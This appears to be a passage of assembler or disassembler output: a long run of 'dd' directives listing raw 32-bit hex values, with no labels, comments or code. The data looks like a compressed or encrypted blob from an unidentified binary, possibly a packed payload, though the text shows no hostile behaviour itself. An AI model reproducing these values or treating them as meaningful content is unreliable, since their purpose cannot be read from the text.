		dd 0FF250B7Eh, 0A2BFC81Ch, 10685128h, 76EE5059h, 72C34B07h
		dd 32800D58h, 5BE93F51h, 0B2B316CCh, 22FAA5B7h,	60544480h
		dd 0BF10DD52h, 0E340A1E9h, 0B95FFA68h, 9529288h, 0B174239Dh
		dd 8069C52Fh, 7163AFBAh, 0E24CD17Dh, 7D904F7h, 94AC35D0h
		dd 0B87B0C58h, 4D3A0018h, 85681583h, 8D690DA5h,	2770CCh
		dd 4E4C5125h, 11763566h, 45EAF076h, 0CC68753Ch,	14E83B8Ch
		dd 2DCB43E2h, 886CC7CFh, 5C17E2DCh, 0DFF8F517h,	3138EF4Bh
		dd 0A5688083h, 0B43F3462h, 678F0907h, 0A33A3C84h, 391D013Fh
		dd 5FE97641h, 0B62BA231h, 0BE56014Fh, 586F0C1Ah, 0E9FD242Fh
		dd 0C3819375h, 0FCC21F67h, 7ED58C57h, 510BC69Bh, 0C2352817h
		dd 0FFE24081h, 0D2F2DC2h, 0F18990E0h, 0E984DC9Eh, 7ACA669Eh
		dd 4EF70776h, 0C01FD478h, 0A07762EFh, 27DA204Ch, 268652D9h
		dd 96803C0h, 43FEFA09h,	92EAF558h, 57140B07h, 427425FEh
		dd 82FA5B58h, 0A5208A66h, 16057D02h, 0B3AF142h,	165DB2CCh
		dd 119E809Dh, 40860D62h, 2AED701h, 0AFF65A08h, 4FA1AC3h
		dd 2254CE35h, 0EE72C017h, 68027ECBh, 1AB8E96Eh,	40F7FE01h
		dd 8CF317Ah, 856E5B4Ch,	0E594C7E9h, 308197AFh, 27582D52h
		dd 71528698h, 7E9C09E3h, 0C660078Bh, 0F7E85AD4h, 8A74059Fh
		dd 4FF88322h, 0D609448Eh, 0F57C4776h, 0ABE2F1C0h, 0D680632Fh
		dd 72591977h, 62F82EBFh, 97DE9627h, 0B249AACh, 0A402888Fh
		dd 0FFBCCD1Eh, 290D0C93h, 9290F6D3h, 0C701075Bh, 3F8B4D3Dh
		dd 6A7E8230h, 390A20Ch,	7F2D5EC0h, 0B2E84EC2h, 0E13FC141h
		dd 9D09F403h, 5EA9ED88h, 7F680994h, 61C27A10h, 0F57238B4h
		dd 0EE0BB6CCh, 0C069477Dh, 0D21E1D8Fh, 5882B864h, 912A1994h
		dd 36F8BE36h, 0C03958E7h, 68072048h, 0B5E85AA3h, 0B0C4945Dh
		dd 0E22C803Dh, 0A53BE867h, 0D94B2076h, 9D6FC218h, 80436CAh
		dd 7543AA59h, 940445FDh, 2668E6C8h, 0E9A62641h,	69166382h
		dd 7F0C5709h, 300CF63Ah, 0E462E72h, 71C413C3h, 29FE498Bh
		dd 144A4223h, 0E997E495h, 49B58D7Fh, 3AFCA014h,	48629745h
		dd 0B679484h, 33BD5866h, 282CE2EAh, 0A42DBBECh,	0E8F8E5D1h
		dd 0B566E82Ch, 4DA061D0h, 15A2619h, 9868FCD0h, 0BE68A82Bh
		dd 5440799Fh, 1EBAA91Dh, 30490F5Ch, 3F4CBCC6h, 0B5E9113Eh
		dd 88BF8F96h, 0D541EC7Bh, 52C34D42h, 440CD77Bh,	0FACB0187h
		dd 0B83B58E5h, 0A8BD5E15h, 16838850h, 4273E54h,	18D7288Fh
		dd 82D913FEh, 0BDA75AD5h, 4430D051h, 15C605D0h,	0A71E7D67h
		dd 3EB66A59h, 1682B909h, 42E80220h, 5E46917h, 6F84857Ch
		dd 0D6BE01F3h, 802F2622h, 576B06B9h, 0D2F02924h, 559C0822h
		dd 8BB0E017h, 4BEDB551h, 0E9F12982h, 80F8C817h,	59E23AC3h
		dd 6835EB3Ch, 33970625h, 5A252224h, 5380DD21h, 22BB73AFh
		dd 0E8E6816h, 52E81960h, 0B0364AA6h, 600DFA5h, 0E5D14171h
		dd 0C4E7CAE9h, 0F3F030E3h, 0C30C78E6h, 0ECE14CE9h, 56330FB8h
		dd 5E4B60C5h, 0DB77D7E2h, 5963E4Ah, 31062842h, 188281A2h
		dd 0A5815BEBh, 4825B568h, 37128851h, 4F84BE7h, 5880C04Ah
		dd 0BFF8DD44h, 96BE2A02h, 75DF29AAh, 7772B042h,	89972898h
		dd 0BA96556Fh, 78897196h, 329CD7E4h, 354E6871h,	0A3BA3524h
		dd 0CAE5A18h, 179058EDh, 1AD90316h, 0EBCC4FBAh,	51480FEh
		dd 16B9514Bh, 0ABE8452Eh, 70E9C901h, 0E1D833BEh, 7469380Ah
		dd 85A420FAh, 8AB6814h,	1E02D380h, 40454A73h, 82AA4068h
		dd 0B7121076h, 0A56113A1h, 0C7D1F26Eh, 7CC0C32Dh, 50F80168h
		dd 5EE90705h, 0A97D124Ah, 8C489F48h, 7AE90613h,	78B7EB45h
		dd 2D6F0965h, 0E757446Dh, 2DE12CBBh, 0F9BE7CD9h, 33D72E2Ah
		dd 613ADC97h, 742BE950h, 68125E93h, 1C603D93h, 985522B0h
		dd 0B8BE0A05h, 19F9D4Ah, 2D04C9CEh, 0E0C845Fh, 8EC2FB07h
		dd 82415CD6h, 9841AF9Eh, 2C8B440h, 89BD14F2h, 796257B3h
		dd 74E90B02h, 685831C8h, 0E604642Dh, 9D31E0B1h,	0F71CEF48h
		dd 291D2E08h, 88D325CAh, 549FE905h, 4BA1E1FCh, 0E31781FCh
		dd 457E6649h, 0D321972Eh, 0BC2FD7D9h, 0D56529DFh, 2203716h
		dd 0CAE295B3h, 919FB84Ch, 8C63F346h, 7F0B1E92h,	731C1001h
		dd 0DA4B6849h, 478FB198h, 802CBAB8h, 16BBEA53h,	8D9823A7h
		dd 0ADCD4E29h, 0D2AB9221h, 0F770C4D6h, 93E5941h, 19F166D9h
		dd 0B7DAA46Fh, 70145C92h, 5E19E464h, 0F8EF5301h, 2D3509D7h
		dd 0E6CC7267h, 509DFA7Ah, 1280DB8Fh, 0BE143F24h, 8EB2D0Ah
		dd 9E65A18h, 68263217h,	4177981Ah, 496E29DCh, 0A5837E75h
		dd 0D2EAE925h, 9F709B89h, 0DC736A29h, 0B7D97E66h, 0A2C1186Ch
		dd 1ABF2D63h, 8A7A882Ah, 76C25D3Eh, 0D410CA24h,	26A47712h
		dd 0E2350338h, 0D6895641h, 5FDFC294h, 13B6870h,	51D3AED5h
		dd 0C4F7218Fh, 61E2F062h, 9C545616h, 7E95EE67h,	0EC0A70A6h
		dd 7EEECBC0h, 0F70F2D30h, 0FB059FCDh, 79154801h, 0DF7549A3h
		dd 8332B77Fh, 2FF3A2E9h, 0FA6DC61Dh, 0C8337D27h, 0BD65905Fh
		dd 2270EE04h, 0B1AEE904h, 66A7E825h, 853949Dh, 9B47E959h
		dd 27AA5B17h, 0B8DCB4AFh, 35BD0497h, 41877E53h,	5C0961C4h
		dd 0B74A9E1Ch, 575EB809h, 0F99DAA1Eh, 18E94164h, 71306EBCh
		dd 4A6E54EDh, 0B75BD029h, 3D08F946h, 2C0A67E9h,	0B5F23B38h
		dd 3564D08Bh, 0B4060ACAh, 71309F02h, 5A5E4143h,	9FE57FCEh
		dd 0B00970AFh, 1B4CC96Eh, 5E4B9C94h, 817D0EF6h,	0D702EF84h
		dd 0DA1D78CBh, 8FBC616Bh, 52DB5802h, 5611F627h,	8FE961C4h
		dd 0FE7712FEh, 0FE53BD9Ch, 473A4C4Bh, 0FADB5BDBh, 0AA1B16F4h
		dd 23A2104Ch, 1CAA5A13h, 2068C58Fh, 17F8B201h, 2AF9D0ECh
		dd 0E627F8DEh, 538831D9h, 0A14849BBh, 732F036Bh, 42DBDC61h
		dd 9D9ADDECh, 8C20F9C4h, 0D20090D7h, 7D75E36Dh,	30B67776h
		dd 0BC1A013Dh, 293AE90Eh
		dd 0A6BE84C3h, 8EE986B6h, 0C1293B51h, 56A1CBFFh, 4B166457h
		dd 39BBA850h, 5C3CDEC1h, 9768125Ah, 0AF39BF42h,	0BDBA8580h
		dd 0BF4B3323h, 0E90BB962h, 27787Dh, 5E82959h, 7F0C0155h
		dd 0CC40AFB0h, 60749F88h, 5E4830B3h, 34B2A073h,	69A4434Fh
		dd 4801E31Fh, 1AA53093h, 0E83E2009h, 5BEB5001h,	0AFCBC405h
		dd 85ED7928h, 11450226h, 702725C2h, 95191886h, 132D0C6Bh
		dd 506CD525h, 9F71B73Ah, 2630B88h, 887CEA80h, 15A102F5h
		dd 0BB40FC2Eh, 0B2EFB596h, 0C14B8B1Eh, 0A67B59A5h, 5CF24C7h
		dd 0D3EEE445h, 0F293D65Bh, 0A1DC0840h, 69EE73C0h, 0ECC1B450h
		dd 13DB79F4h, 0EEF64CE4h, 0AFB8940Eh, 0C5ECAFDCh, 6492E628h
		dd 797B57D7h, 18E8C184h, 787A04AFh, 0E6503261h,	7AF82699h
		dd 0DEDB6BF9h, 58D57E0Dh, 16B11F60h, 62F502h, 99337484h
		dd 3BF3E9F0h, 9AAAC0C5h, 6FEC16B9h, 0A2B6EE21h,	0A7127076h
		dd 0D2ACE8F8h, 62133B0Bh, 0A1C05F14h, 0EB7630DDh, 211E595Ch
		dd 64B78114h, 0D854F653h, 3D25E901h, 881B59D4h,	8003A4F8h
		dd 9BC060E1h, 60C9B203h, 0BC7EF6EFh, 927FEFC3h,	0AC4B5260h
		dd 5FB5803h, 3AAD5897h,	6C0351ADh, 1C552A7h, 3294FE6Ch
		dd 76390AB9h, 10E46ED6h, 0B865A29h, 8F19F38h, 0C37DB05h
		dd 0C1F32A82h, 982E7C44h, 59F29AFh, 98BB4C5Dh, 59648F15h
		dd 5188EA11h, 45855A58h, 0A5096DE1h, 225EFC6Bh,	37C95250h
		dd 10DB6812h, 1E010C0Ch, 58A40285h, 0A759E934h,	625571CAh
		dd 0EBE07F30h, 7A132DC3h, 0EEA966DCh, 193F3048h, 736C8CBh
		dd 25971809h, 0E9F0E04Fh, 0B0CB4CFCh, 3821AF96h, 0B26B5490h
		dd 0E32D056Bh, 92106F5Ah, 0D306088h, 0F53F2BC9h, 9950997Ch
		dd 80F13EEh, 3575E03Ch,	5B330AF6h, 0C005220Bh, 0BF4348DDh
		dd 0F920E4C2h, 471932BAh, 9D34E8F1h, 1AB6D7D2h,	11CF609h
		dd 88F6A7CCh, 7B958C4Ah, 0FB0166D4h, 639F6A52h,	0D664C561h
		dd 0FD5CB531h, 5FA50053h, 700CC92Dh, 0D8682923h, 0F02C0842h
		dd 0A5580E10h, 6E5DF4Ah, 0AE51E957h, 0A8424F14h, 44ADB1E5h
		dd 0D542A26Fh, 99F2D9Fh, 4B095CFh, 0D7C348E9h, 3DCF6253h
		dd 0C6C1D104h, 0F04DD2Ch, 18A294C6h, 5D7A893Ch,	0C935C597h
		dd 4B816DDh, 7B151197h,	0C016B221h, 5556DBF7h, 0E8401BDh
		dd 0D0E96D15h, 9EE33FDAh, 0A5132C94h, 0F797FCC3h, 0A97AF2h
		dd 0DB42A7BAh, 20AB1348h, 0B527B93h, 0B9F42DBFh, 49C198D5h
		dd 186796F2h, 6C5A24EBh, 1D14F0BFh, 5259DCCAh, 0B0FA0B75h
		dd 7AEE6C90h, 70B9282Dh, 0E0C94155h, 0C77D80F7h, 13536648h
		dd 0F0F40FAEh, 9B1A7B11h, 80CA28B2h, 5A89520Ch,	0F00C84FAh
		dd 63126A44h, 38D41612h, 0D5E90813h, 73BEA80h, 7B983962h
		dd 83D4EB41h, 1CED6CCh,	3DD1B103h, 0BC842AE7h, 0C31B92FEh
		dd 5012DF56h, 562D8FEh,	0CF10B60Bh, 0A0020935h,	771EB810h
		dd 427B29h, 48CE4DE5h, 18C50905h, 74BCF55Ah, 0DCDD10h
		dd 0F172A2Dh, 1249353Ah, 0AA24F357h, 4347251Fh,	0A2501B52h
		dd 0B77408B1h, 3161D1AEh, 0E57CBB76h, 6E761CDh,	7F140C08h
		dd 38C0F564h, 4546C17Eh, 5DEF0078h, 3E11B85Eh, 68B45241h
		dd 71BF5700h, 121EA118h, 0B8D79AE9h, 241DD612h,	0F7906067h
		dd 0F068B5D9h, 4827A1DFh, 3C9E7EEFh, 3A41F283h,	0E2F87008h
		dd 14373D3Ch, 1DA71853h, 0B5AB0265h, 0EFE81409h, 0A36B8D2Dh
		dd 0E0D38055h, 9B6A7E68h, 0E4230BF5h, 6382A812h, 0D14105B9h
		dd 666801C5h, 2FCC5FC6h, 3015DC80h, 0E9537309h,	0BBB760AFh
		dd 5B65391Ah, 2D87C04Eh, 2B027938h, 69E9553Ch, 5A2E7E8h
		dd 0F802ED83h, 6FD885AFh, 5518948Bh, 0D5C3A53Eh, 2E33221Eh
		dd 0EAC409D6h, 9456F0EEh, 0A5596038h, 4BED965Bh, 778C1493h
		dd 0EB53F45Fh, 772F4C12h, 57E459ECh, 8B82E80Fh,	8236765Ah
		dd 6F03116h, 8B6421E1h,	0DFD80934h, 0E927B994h,	4278054Ah
		dd 0C793981Ch, 52D39BAh, 0D869098Eh, 5E44595Ch,	0D8D818BCh
		dd 78301BABh, 3FE80C06h, 0B5754BF4h, 0C0806D8h,	0E95F1480h
		dd 40C03175h, 9D6873B2h, 836BB905h, 0C2DBE950h,	0B3F8C34Eh
		dd 565AF602h, 0FBDE4107h, 9E166ABBh, 3A04D016h,	0F3A85EF0h
		dd 58743B1h, 475F1200h,	5816052h, 0CB352DF5h, 1786ED07h
		dd 31EA8DD8h, 6ECF3A81h, 0F052CA63h, 620D3168h,	5AF5AE4h
		dd 0E05C387Fh, 2AD29FE3h, 0E0B9A90h, 7648350h, 60120888h
		dd 0CF7BC076h, 0E2464C1Fh, 0A162D718h, 0BA1D6857h, 92683F6Fh
		dd 66503727h, 552E2002h, 7585CE90h, 18395D08h, 152DEC59h
		dd 287BA72Eh, 96F45A97h, 0EEF34B07h, 0DCF66B22h, 0DED4272Ch
		dd 0C3B3979h, 6DC45D03h, 5827197Ch, 51997509h, 6B8E3050h
		dd 7321E726h, 305BDE83h, 0B8D0BB46h, 4E208710h,	15AF14EDh
		dd 762EA00Fh, 490EBA13h, 5BBDFA40h, 7FC10030h, 16D9402h
		dd 8817392h, 9AAC3E5Bh,	52D156DEh, 48C6A86Dh, 5E9F4385h
		dd 401290CBh, 8B75E85Ah, 556C02F7h, 0E27F7E44h,	0BD03C960h
		dd 7D9FD093h, 7CCD0581h, 0EA09AD2Fh, 34390500h,	0E3CAE962h
		dd 0D5F62C80h, 5966E888h, 68C18606h, 2E79128Ah,	7187785Bh
		dd 5D680083h, 9E65972Eh, 3D411528h, 4C2CB20h, 576B2DA2h
		dd 6ECF942h, 654C3488h,	6F39000Ch, 0D701C280h, 4E4BFEE9h
		dd 0ECE87025h, 4BEB311Fh, 0FD7E0A4Dh, 1841392h,	4BB0CFAFh
		dd 1CA79AACh, 0CB0581CBh, 1B9C727Dh, 6B14D280h,	0C67602Bh
		dd 33D07782h, 0C20E4361h, 5CEAD95Ah, 9C010B68h,	0C5266847h
		dd 0DE01FBC8h, 292E7B6Dh, 82840DBh, 9151535Dh, 2AFFCA27h
		dd 368A9AABh, 6861A6B6h, 99730B57h, 4E006548h, 0E910C26Eh
		dd 0BBBF5848h, 0C6F88219h, 1E5C3098h, 0CAFCF193h, 31711206h
		dd 709659CEh, 0C27C9FB3h, 6067E978h, 3CF723F5h,	575F4850h
		dd 0C45A59BCh, 0F54594ECh, 0E380FF70h, 5C4B2971h, 0C4040E3h
		dd 0A08D2FE9h, 17670E2Ah, 1C1EA717h, 0B5A8B604h, 3FC5B14Ah
		dd 0A54E69FEh, 8B4545E7h, 277771E9h, 0FE21C774h, 0F9EC585Fh
		dd 0D628BFB4h, 6302088Fh, 0E217AB20h, 9E042B51h, 0E0175F64h
		dd 91B2D259h, 9798B93Ch, 58B8767Eh, 1516CD93h, 6F9FAABFh
		dd 0F412441Bh, 8A40C292h, 1D3E33D1h, 1E50926Bh,	64052420h
		dd 0F71C5C04h, 8E7CD525h, 0DA491665h, 19FC7451h, 2BB056B5h
		dd 0D558560Bh, 78D2931Bh, 6F77175Ah, 7B65C6B5h,	0E8358023h
		dd 523E220Bh, 358E5F48h, 1850AC21h, 2EA42AFCh, 0B56DB2CEh
		dd 71427450h, 97E7B414h, 0BA582820h, 19E1D4C5h,	56956542h
		dd 0D328AEDDh, 0B792B85Eh, 0DDFE9EF2h, 1C743CA1h, 5362075h
		dd 5F4E7709h, 0E9D08171h, 89A76C4Bh, 0F1C3225Dh, 0F1FB5530h
		dd 2A22E904h, 52ADD6h, 62D65919h, 0E4451F2Dh, 460D5F1Eh
		dd 0A00BA6C9h, 0B56E4FF6h, 420BBFF1h, 0E905E171h, 55BC6598h
		dd 0CD9562C4h, 6ACA60C1h, 9F98082h, 0C0204E12h,	829670Ch
		dd 0FF920122h, 0FB410882h, 5B127D2Ch, 0B292D71Eh, 0BBF08E0h
		dd 0A1C648Bh, 430C8200h, 0A2B70421h, 35BD92Eh, 4CBADC88h
		dd 0D1274774h, 0A64BA409h, 0F1E9C148h, 470A9D7Fh, 0DCA06193h
		dd 2845BD5Fh, 0D670BB8Bh, 0F8D57253h, 47510BDDh, 8A4820D2h
		dd 0FFC0E30Dh, 132928F5h, 0E0489D44h, 73146EC5h, 2A811A9Bh
		dd 0B23CC8DAh, 42512D3Dh, 444EC0A8h, 5E6B3DE3h,	3B7E907Fh
		dd 7F041F39h, 2E4BFE9h,	0DFCE8956h, 0B99A50C2h,	0A531CFD7h
		dd 0E9E1C056h, 8F7B2EA9h
		dd 741425E4h, 9068C783h, 5E63946Fh, 5AE4E939h, 0E673B2E3h
		dd 0B7519F05h, 90ACACC4h, 9055A50h, 155B7693h, 23480200h
		dd 14E6770h, 805D9E1h, 57CFB204h, 0F2805B03h, 0CA937013h
		dd 129ECBB8h, 0BE9BF08Ch, 6F60230Bh, 27A7E18h, 470BBB2Dh
		dd 2CAF21E1h, 5B582E8Fh, 3536E660h, 39428242h, 57780809h
		dd 0B921D631h, 9932C546h, 196C5A58h, 0F3AA9C56h, 2F86787Fh
		dd 5E737584h, 0CBFB583Ah, 0DB65845Fh, 0EE3E74EAh, 6EE78D84h
		dd 4A74AE4Fh, 0F7B32CEBh, 1536DF60h, 107C5756h,	635AE9h
		dd 0BA696C2Dh, 12DB053Bh, 0CA54C64Fh, 360B7EDBh, 0F114985Fh
		dd 17E9E16Ah, 0F8040464h, 30B7BDDDh, 7026680Bh,	0AF6253D6h
		dd 0E05A05D6h, 0DC5E3D2Dh, 0A3258844h, 211062AEh, 50A33DF6h
		dd 0E6545789h, 12D99D30h, 0A358BA71h, 0B23017CBh, 0C8B0B36h
		dd 8D8BA45Ch, 0EC65D14Eh, 0D834E98Fh, 8AEFC9C6h, 0FABC7635h
		dd 2EDC004h, 30754D0Bh,	95B93E63h, 0F92D95E7h, 8B5BA7D6h
		dd 125A02EFh, 1071C127h, 915B900h, 156E409h, 0D18082CBh
		dd 972D22Ah, 1667D31Bh,	52133370h, 0C2C0EA89h, 0F0E9435Dh
		dd 0BFC0AE1Eh, 38789541h, 6AEC5B04h, 3F27AFE5h,	7A846643h
		dd 13545A9Fh, 5E8EAA13h, 0E9163320h, 25B31073h,	61C0D412h
		dd 3899BE2h, 274AF15Dh,	428CA382h, 5F60572Ch, 34331484h
		dd 58010C6Ah, 0CF331B5Fh, 37BAF9A1h, 58287058h,	0DC0CBB41h
		dd 0C628B21h, 164B1763h, 0F9F8007Fh, 2941A7FBh,	0CF2CCB4Eh
		dd 589F01EBh, 0ED68030Eh, 1F326E4Fh, 64C8D73Fh,	641340C5h
		dd 8EE00CB5h, 5C02E92Bh, 0C146C67Dh, 272A137Ch,	7D2FD56Ch
		dd 20ED248Bh, 3BFCE813h, 304151B2h, 0DF5B0226h,	95C47336h
		dd 0BEACB76Ch, 8B7504E5h, 52C7C842h, 1CC04614h,	35CC09D8h
		dd 0DFE0554Fh, 3E7D4A49h, 0B5E040F1h, 4C5A0D43h, 5F68D0A4h
		dd 4B7B4428h, 0F61A71h,	9861AD83h, 1EDEC0Dh, 681E6541h
		dd 73FB43E9h, 0F3AD4FD0h, 5D0B9005h, 0F999EB11h, 0AFF5246Dh
		dd 8AC590B3h, 0D3A9ED40h, 7DF3BA01h, 317C5C31h,	0AAF963C4h
		dd 0A14A3AF3h, 926C7DFEh, 0EC12D7B8h, 0A645B81Ch, 0E71CB5B7h
		dd 0F0ACDBB4h, 0D0A21016h, 2ADBC280h, 0A89E1215h, 4A08EA14h
		dd 0D60966FCh, 8004B51Fh, 35D7BACCh, 0AB447A60h, 7689030h
		dd 610392E1h, 5BC9CE6Ah, 252AAF4h, 5F154DD5h, 5C0421C6h
		dd 296D4934h, 0B4E20852h, 0D0BF7F28h, 0EF5D984Ch, 9405B229h
		dd 0AA3C5F33h, 1168C580h, 67BC9623h, 4CC18E85h,	0CCF1215Eh
		dd 75FE1C1h, 71C957A2h,	0B198F8D2h, 7D5B0B13h, 0FC8FEEB0h
		dd 0C14F163Ah, 1D9D04EBh, 40FC1713h, 9EDED902h,	0B9C03108h
		dd 0BB80903Dh, 0E40C1EDDh, 0DA528C18h, 62E2615h, 0F300DCD0h
		dd 11D92503h, 87DB5FF7h, 0BC3FC75Dh, 89FE970Ch,	58391950h
		dd 955BE740h, 0DD6260DCh, 0C6054999h, 0C5CFECDCh, 0F2BEEC3h
		dd 5E65CDAAh, 498CA0Eh,	6E63685Ch, 4F2916D8h, 2374ABC1h
		dd 68F32CBEh, 0F2BD485Fh, 0C575126Bh, 93CC4B9h,	6813604Dh
		dd 6E0D3FF2h, 0C1808849h, 0CD8105EDh, 933FB612h, 0BF7F01BFh
		dd 314FBD65h, 957A80Bh,	0F887CF2Dh, 0A7F10B89h,	0D180A021h
		dd 996CACC9h, 86183E61h, 0C06B9744h, 0FC4CC6E0h, 0A3020CDFh
		dd 0CA75C86Bh, 4368DF3Dh, 1B3239F2h, 84F7544Eh,	20F85D07h
		dd 15E0E260h, 0C297B8BCh, 0D53942BCh, 0E4FD19B2h, 0C0812007h
		dd 0CC133B90h, 0B4044989h, 0BA85DEFh, 7E6D68B1h, 2AE019CDh
		dd 0A0387D96h, 9E1910F4h, 0FB68E111h, 0C6CE3B71h, 6858C302h
		dd 71466C5Eh, 49F9799Fh, 2CCB704h, 7E3A7A68h, 6A0159DBh
		dd 0A1307EB5h, 0AA09BDACh, 218B08D9h, 0ED5F05FBh, 817840AEh
		dd 43354DE3h, 3AC404BDh, 52D234B8h, 0A16F98A3h,	0D167E09Fh
		dd 0C78F97E2h, 7A20EE49h, 885B38B9h, 20A0555Eh,	4D169F7h
		dd 0B20F3900h, 95FBAACh, 0E2E21A0Fh, 0FE46DE3Dh, 483609F5h
		dd 0F4C7DE8h, 294B5306h, 0EA805FFAh, 0E2D2779h,	681489D9h
		dd 267B4894h, 82083CAh,	60171CD0h, 9A0D3318h, 0A0CC01Eh
		dd 0E9556524h, 0CCF41925h, 755726A9h, 4C774055h, 895E6EB3h
		dd 0AAD28EA2h, 2281EEC4h, 252EA16Ah, 0C49CEF49h, 0CDA9546Dh
		dd 82A7B8F0h, 0E5EA6071h, 2DC90016h, 2883079Bh,	551C829h
		dd 0ACC17E07h, 3000EFEBh, 200358E7h, 0C2805BFAh, 83B6F188h
		dd 92010325h, 99E8D331h, 0C392BCA5h, 7502D1A8h,	467F9DC2h
		dd 513DF873h, 0A82B08EAh, 4DDD4F76h, 6B49CE41h,	68B4A03Ah
		dd 6098405Eh, 193816FDh, 9419BB14h, 906B0726h, 0E349F7C1h
		dd 0E2A9FE2Fh, 20AD8017h, 123E3236h, 4D5C0EE9h,	9804DA41h
		dd 77A4FF80h, 0DE7625CFh, 0C1203C5Ah, 0DB5E503Eh, 96BD41EFh
		dd 21BABED8h, 3F03963Fh, 978A74E3h, 4E04589h, 120BC7A9h
		dd 0C5A85E18h, 18571790h, 21FCB145h, 65E26B16h,	414AC4D9h
		dd 3AE427A9h, 408C8131h, 0D0410502h, 0B5F02A8Fh, 0CE3316D2h
		dd 8F91AA1Eh, 203C77E9h, 0BE364132h, 2D177052h,	9AE287Ah
		dd 0E46078EEh, 3A9FF021h, 4989F629h, 0BA52E200h, 0C00121Ah
		dd 9BE563Ah, 0B0644349h, 20834B62h, 368B6841h, 0BF00189Fh
		dd 64F183Bh, 0B0C97E29h, 2D6F92Dh, 7C1AE9DAh, 0C11D2EE9h
		dd 36149168h, 7970277Ah, 88518447h, 2A09AEF9h, 50A9581Ch
		dd 40869852h, 0F733805Fh, 0B10A06ADh, 0E7E461C7h, 8C12CC6Eh
		dd 509F4906h, 6CA03370h, 23FFC377h, 4C1666E3h, 0D0EBB9B0h
		dd 7343E9DCh, 0F5C87AE1h, 4E520B1Ah, 0A9504B54h, 89AFB9A1h
		dd 1C4818BFh, 13F39011h, 0BFCD93E9h, 2D2B9D39h,	90DC6BD1h
		dd 28964056h, 1DD0DE48h, 0F49D0CECh, 6364C45Dh,	306CEA1Dh
		dd 715DC181h, 0F5EC348Fh, 0E259C9A0h, 0C6A1A00h, 999A0A2Eh
		dd 0EAFE116h, 0DBE96C04h, 9FB8FBA0h, 2AD3AB38h,	17B5609h
		dd 687BFE44h, 458170Ch,	12C28CC3h, 0FE7409EFh, 1BF1712Bh
		dd 2437C5CBh, 0B34E12DEh, 0D6CA124Bh, 502A6AF7h, 0C9B0904Fh
		dd 0DF815533h, 20C94831h, 5D98DD5Fh, 0BE0396BCh, 0B06559h
		dd 2857C78Ah, 0F70118BFh, 8A2EFF0h, 7AA821F9h, 89A83E01h
		dd 5AD72982h, 0F62CF8D5h, 56ABB092h, 9460DFECh,	2818F6A3h
		dd 4E25248Dh, 0A2B5027Eh, 8EB41E0h, 2158C207h, 0ED602723h
		dd 604F4A02h, 198B1853h, 6A950B06h, 0E90802A5h,	25B8D4E0h
		dd 0C6689521h, 6DFB8944h, 6BAD767Fh, 0CCA83BFDh, 45BEF4BFh
		dd 5E83BC41h, 9EE41CBh,	0BD0307DBh, 0C4B0FBFh, 3451D165h
		dd 73C3A324h, 1CEB7BA9h, 0C25BD828h, 0CD09E9F8h, 2D487452h
		dd 6B700CDh, 0A1A90235h, 64FB48Ch, 2886DDE9h, 0E340E59Dh
		dd 0A24BF09Eh, 9261F2h,	6762893Ah, 6320E976h, 29519FDBh
		dd 2ECD273Dh, 3B35C435h, 0DCA1B3E9h, 0BF6681DAh, 1A955822h
		dd 207DA12Ch, 0FF907405h, 65699D35h, 62D7A401h,	0C12F751Ah
		dd 2A4FD263h, 133A82E3h, 0C0594445h, 0E74596EAh, 9702415Bh
		dd 4C530668h, 253105EBh, 1C967AE0h, 0CE81C1A2h,	24F121DCh
		dd 0A9181323h, 0AA4CD873h, 1FB3E0Fh, 8147CD1Dh,	0A5E96319h
		dd 0C4532CE3h, 0C141A987h, 21CE2309h, 258AF038h, 0D8919E27h
		dd 315195CEh, 0D0BFCFC4h, 90685534h, 77F03909h,	6E90775Dh
		dd 0F9A44CB6h, 7E389178h, 69BE5A16h, 4057EEFh, 0B4E86166h
		dd 9E6EE2E7h, 2EA74655h, 80ECA492h, 1CFB366Dh, 3F8CB31h
		dd 8EA7F34Dh, 40F4074Ah, 0C294B1D4h, 1CC5D1AAh,	0BDC60423h
		dd 0FC3EE126h, 0F1E9E0C5h
		dd 8F3A95F3h, 0DFE2B40h, 480E2506h, 0BD0DF935h,	10F42989h
		dd 0BBAA043h, 575E5D78h, 0CB69FC06h, 8702C018h,	82B1A063h
		dd 343D28F9h, 0A9883B83h, 4A7F72DCh, 0CB51A25Eh, 40596094h
		dd 3088B80Dh, 0EF962C41h, 0BF406FF4h, 0D5812FE9h, 0B309835Bh
		dd 88D3710Dh, 0BB00ED27h, 0BACC1379h, 59CB2529h, 8E6C9F2h
		dd 7CEB014Ah, 0BC0B0DC8h, 5632EC43h, 860A0BFEh,	5797B553h
		dd 0E08500BFh, 0E96C8316h, 0B1A2125Fh, 5ACF7107h, 5B24B2B5h
		dd 0D137AEDAh, 12313450h, 8E683E5Eh, 1E396DFh, 0ED138DB7h
		dd 6A0C827Dh, 0D6A6A2AFh, 44490D9Eh, 9FEAF84Bh,	57472D09h
		dd 2C31DC59h, 24FF0973h, 0AFBC2C51h, 743D8955h,	0CDA788B8h
		dd 13D6B914h, 7BE862BFh, 0EE33BF4Ah, 680B179Bh,	0DE34B884h
		dd 0BD96D404h, 8FBB5681h, 0FB8987Eh, 6F5D3E60h,	9E4F294Ch
		dd 0CEF18135h, 2B0D9458h, 1DD2DEE0h, 5643AC37h,	0F9C2876Bh
		dd 9E08D85Bh, 72F18250h, 3CE0E049h, 0E8931C2Bh,	6580ED97h
		dd 3D068EBFh, 0DA2D44ABh, 0DBD148C2h, 0C25A6889h, 4CBEF52Eh
		dd 4769E979h, 0FDD2402Bh, 9BA54C50h, 296F1317h,	0C865EC5Fh
		dd 2094C69Dh, 0B900D3E8h, 22885DA4h, 0CC91D9F7h, 5F9AFDF8h
		dd 92C5585Bh, 12445080h, 0E9E80C5Ch, 0EA6108BEh, 0FACDDC1Fh
		dd 0BFF4907Dh, 2D02916h, 158C3CDh, 0A76C5661h, 169D666Bh
		dd 5470314h, 122DE8AFh,	53420B07h, 0F749787Bh, 0CEBED045h
		dd 0B89D5481h, 581B8AFh, 0E51F5B41h, 5B803F31h,	730815C5h
		dd 0BC295EA5h, 40084153h, 6A6FCD55h, 1A68B737h,	7FBDFF60h
		dd 0B3F0C421h, 0B0F540D7h, 0BF9F16EFh, 0D3BC60C9h, 1AB97403h
		dd 0D27B9E31h, 16A2F4E1h, 854EA2ACh, 0C5EA53B1h, 50D903EAh
		dd 0CF93FC88h, 579ABB1h, 32E0C7BEh, 185507E0h, 0B7840516h
		dd 992434E6h, 1ACE1554h, 0D0F3626Bh, 0F694B549h, 3E9A2DFCh
		dd 7B72789Dh, 167A1056h, 0FD290301h, 24DEE9h, 2BCAF1EFh
		dd 0CF316021h, 25AD595Ch, 32EF0F6Ah, 8701C813h,	87CB84DDh
